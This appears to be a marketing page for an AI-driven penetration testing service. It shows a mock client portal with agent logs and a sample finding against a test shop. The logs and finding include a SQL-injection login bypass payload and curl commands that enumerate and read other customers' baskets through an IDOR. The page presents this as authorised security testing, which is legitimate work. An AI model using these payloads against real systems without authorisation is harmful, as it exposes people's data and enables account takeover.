Korrosiv.AI logo

Korrosiv.AI

Dissolve your attack surface._

An AI-native penetration testing engine for web applications and APIs. Point it at a target. Watch it think, adapt, and find what others miss.

Korrosiv.AI — Client Portal
app.korrosiv.ai/portal
Current AssessmentAcme Customer Portal Search findings, endpoints, assessments…⌘ K Ssofia@acme.testClient
Client portal
Security Posture

Your engagements, findings, and sealed reports — presented exactly as your team sees them.

Security Posture
5CRITICAL
14HIGH
25MEDIUM
25LOW
10INFORMATIONAL
79
TOTAL FINDINGS
2 engagements
Completed
Acme Customer Portal

eng-acme-3baff15a-8c47-4493 · https://juice-shop.acme.test

4 11 19 21 8
63 reviewed findings View engagement
In progress
Acme Payments API

eng-acme-9d21c7f4-2b10-4e88 · https://payments.acme.test

1 3 6 4 2
16 reviewed findings · testing in progress View engagement
← Your Engagementseng-acme-3baff15a-8c47-4493
Acme Customer Portal
Completed

https://juice-shop.acme.test · Started 04 May 2026

Assessment integrity sealed · findings digest 9f2c4ab77e13d05a
Security Posture
4CRITICAL
11HIGH
19MEDIUM
21LOW
8INFORMATIONAL
63
TOTAL FINDINGS
Assessment activity
How This Was Tested
366 agent runs
RECON 18
Recon Agent #01Complete

Browser surface mapping

juice-shop.acme.testREAD-ONLY
$ crawl --target juice-shop.acme.testresolving host · 200 OKsession cookie acceptedGET /#/ 200GET /rest/products/search 200GET /api/BasketItems 40112 routes discoveredGET /assets/main.js 200GET /rest/admin/config 200GET /ftp 200crawl depth 3 · 41 requests
ATTACK TESTING 264
Attack Agent #01Complete

Access-control probing

bashREAD-ONLY
$ auth --as user-1bearer token acquiredprobing /rest/basket/*$ curl -s .../rest/basket/2 \ -H "Authorization: Bearer <user-1>"200 OK { "id": 2, "userId": 2 }cross-tenant read confirmed$ curl -s .../rest/basket/3 \200 OK { "id": 3, "userId": 3 }IDOR pattern: sequential idsescalation path recorded
Attack Agent #02Complete

Auth and session handling

bashREAD-ONLY
$ probe --module authenumerating login surface12 payload classes queued$ curl -s .../rest/user/login \ -d '{"email":"\' OR 1=1--"}'200 OK token issuedauth bypass reproduced$ curl -s .../rest/user/whoami \ -H "Authorization: Bearer <forged>"200 OK { "role": "admin" }privilege boundary crossed
VALIDATION 84
Validation Agent #01Complete

Reproduced and confirmed findings

bashREAD-ONLY
$ validate --engagement eng-acmeloading 5 candidate findingsreplay harness ready$ replay --engagement eng-acme5/5 reproducedPASS evidence retainedreleased to client portalre-running 5 reproductions…IDOR reproducedauth bypass reproducedoperator sign-off recorded
Findings
63 findings
SeverityTitleCategoryTargetsStatus
CriticalCross-User Basket Access via IDORAccess Controlhttps://juice-shop.acme.test/rest/basket/{id}Open
CriticalAuthentication Bypass via SQL Injection on LoginInjectionhttps://juice-shop.acme.test/rest/user/loginOpen
HighStored Script Executes in Customer FeedbackInjectionhttps://juice-shop.acme.test/#/complainOpen
HighAdministration Console Reachable without Role CheckAccess Controlhttps://juice-shop.acme.test/#/administrationOpen
HighJWT Accepted with alg Set to NoneAuthenticationhttps://juice-shop.acme.test/rest/user/whoamiOpen
← Back to engagement
Critical FND-A41C8E02
Cross-User Basket Access via IDOR

Vulnerability · Detected 04 May 2026, 11:18

Summary

The GET /rest/basket/{id} endpoint authorises on the caller’s session but never checks that the basket in the path belongs to that session. Basket identifiers are sequential integers, so any authenticated customer can walk the range and read the contents of every other customer’s basket, including the products, quantities and the delivery address attached to the order. The same missing check applies to the write path, so a basket can also be modified by a caller who does not own it.

Submitted reproduction
Proof of Concept

These reproduction notes are presented separately from exact tool-boundary captures.

1

Authenticate as a normal customer and read your own basket to establish the baseline

Reviewed request
curl -s -X GET 'https://juice-shop.acme.test/rest/basket/2' -H 'Authorization: Bearer <user-1>' -w '\nHTTP_STATUS:%{http_code}'
Reviewed observed outcome
HTTP 200 — response body carries "id":2,"UserId":2 and the caller reads the basket that belongs to them

Expected outcome: 200 with UserId matching the session, confirming default server behaviour

2

Request a basket belonging to a different customer using the same session token

Reviewed request
curl -s -X GET 'https://juice-shop.acme.test/rest/basket/3' -H 'Authorization: Bearer <user-1>' -w '\nHTTP_STATUS:%{http_code}'
Reviewed observed outcome
HTTP 200 — response body carries "id":3,"UserId":3 along with another customer’s products, so no ownership check is applied

Expected outcome: 401 or 403; the server instead returned another customer’s basket verbatim

3

Confirm the identifier space is enumerable and the write path shares the flaw

Reviewed request
for i in $(seq 1 12); do curl -s -o /dev/null -w "%{http_code} " \
  "https://juice-shop.acme.test/rest/basket/$i" -H 'Authorization: Bearer <user-1>'; done
Reviewed observed outcome
12 of 12 identifiers returned HTTP 200; a subsequent PUT /rest/basket/3 was also accepted, so the record can be altered as well as read

Expected outcome: non-owned identifiers rejected; every identifier in the range was readable and writable

Impact

Independently validated

Likelihood5 / 5
Impact4 / 5
Risk score20 / 25
SeverityCritical
Security Impact

Any authenticated customer can read and modify every other customer’s basket by incrementing a single integer in the path. Twelve of twelve identifiers tested returned another account’s data, and the write path accepted the same unowned identifier, so the flaw is not limited to disclosure.

Business Impact

Order contents and delivery addresses for the entire customer base are readable from a single free account, and orders can be altered before fulfilment. That is a reportable personal-data exposure as well as a direct route to fraudulent orders.

12345
5
4
3
2
1
Impact →Likelihood ↑

01Every engagement, one surface.

Client portal, in active development. Sample organisation and findings — not a customer engagement.

Your client portal
  • Security Posture — open severity across every engagement, live
  • Engagement — findings, targets and the sealed-engagement digest
  • Finding — description, affected targets, remediation and references

The walkthrough needs a wider screen to be legible.

korrosiv@pentest:~$ cat threat_assessment.md

By the time the report lands, the app has already changed.

Traditional penetration testing is a point-in-time exercise. You engage a team, wait weeks for availability, then receive a report that reflects the application as it existed during a narrow testing window.

Meanwhile, your development team ships daily. New features, new endpoints, new attack surface, all deployed between the time a finding is documented and the time it's read. The report is outdated before the ink dries.

Manual human-led pentests aren't scaling to the speed of modern development. The vulnerability lifecycle has compressed from months to hours, but the testing model hasn't changed in a decade.

Week 1

Pentest engagement begins

Week 2-3

Manual testing in progress

Week 4

Report delivered

Weeks 1-4

Dev team shipped 47 deployments, 12 new API endpoints, and 3 major features, all untested

[ALERT]

The average web application receives multiple updates per week. A quarterly pentest covers less than 2% of the changes shipped.

korrosiv@pentest:~$ cat about.md

AI-first. Built to break things.

Korrosiv.AI is an AI-native, AI-first automated penetration testing engine.

It does what a human pentester does, but without the time constraints, fatigue, or blind spots. It thinks through application logic, chains vulnerabilities, and adapts its approach in real time.

Built by pentesters who understood that the future of offensive security isn't more tools, it's smarter ones.

[CORE]

PRECISE

Every attack vector is methodical and targeted. We don't brute force, we dissolve.

[CORE]

TECHNICAL

Built by pentesters, for pentesters. The platform respects its audience's expertise.

[CORE]

CONTROLLED

Corrosion is not chaos, it's chemistry. Every test is deliberate and documented.

korrosiv@pentest:~$ ls research/

Case studies from the field.

Real vulnerabilities. Real methodology. See how Korrosiv.AI reasons through complex attack chains that human pentesters miss under time pressure.

korrosiv@pentest:~$ cat capabilities.md

What the platform does.

[MODULE]

Web Application Testing

Full-stack analysis of web applications, testing authentication flows, session management, and probing business logic the way a human pentester would.

[MODULE]

API Penetration Testing

Automated discovery and exploitation of REST and GraphQL endpoints. Broken auth, injection, mass assignment, tested systematically.

[MODULE]

AI-Driven Analysis

The AI is the pentester. It reads responses, adapts payloads, and chains findings the way a senior consultant would, but reasons on 100% of the data.

[MODULE]

Actionable Reporting

Every finding includes reproduction steps, evidence screenshots, impact analysis, and remediation guidance your team can act on immediately.

[MODULE]

Real-Time Visibility

Watch the AI work through a live dashboard. See endpoints discovered, tests executed, and vulnerabilities found, as they happen.

[MODULE]

Responsible by Design

Built with guardrails. Scoped testing, controlled exploitation, and full audit trails. Offensive capability with defensive discipline.

korrosiv@pentest:~$ cat origin.md

Why we built this.

On an internal infrastructure engagement, a spreadsheet of legacy credentials turned up on a file share. One password kept recurring, a string that looked completely random. No dictionary match, no known pattern. A human pentester moves on.

AI didn't. It identified the string as a keyboard walk pattern, recommended adding it to the active password spray, and that single insight corroded through layers of vendor defences into full domain compromise.

In a typical human-led pentest, AI reasons on roughly 5-20% of the engagement context. The rest gets skimmed or missed under time pressure. If that number reaches 100%, the outcomes change completely.

Human-led pentest
~5-20% of data reasoned on by AI
Korrosiv.AI
100% every output analyzed, every pattern caught
korrosiv@pentest:~$ diff --human-led --ai-led

Human-led pentests have limits.
AI-led pentests don't.

Human-Led Pentests

  • - Limited by time, scope, and fatigue
  • - Reasons on 5-20% of tool output
  • - Weeks to schedule, weeks to deliver
  • - Report is stale before it's read
  • - Inconsistent across engagements
  • - Cannot scale with deployment velocity
vs

AI-Led Pentests

  • + No fatigue, no time constraints
  • + Reasons on 100% of all data
  • + Deploy on demand, results in minutes
  • + Findings reflect the live application
  • + Consistent methodology every time
  • + Scales with every code push
korrosiv@pentest:~$ ./request_engagement.sh --cohort=01

Hand us a target. We do the rest.

From September 2026 we take on a limited number of engagements. We scope it, we run the engine against it, and we validate every finding. You get a live reporting dashboard and a report your engineers can act on.

  • + Priority in the September engagement queue
  • + We run it end to end — scoping, testing, validation
  • + Live reporting dashboard, not a PDF weeks later
[SCOPE]

We only test what you own or are authorised to test. Scope and written authorisation are agreed before an engagement starts.

Korrosiv.AI — Engagements
https://korrosiv.ai/waitlist
D

Request an engagement

Cohort 01 · first engagements September 2026

No spam. We’ll reach out to scope, and nothing else.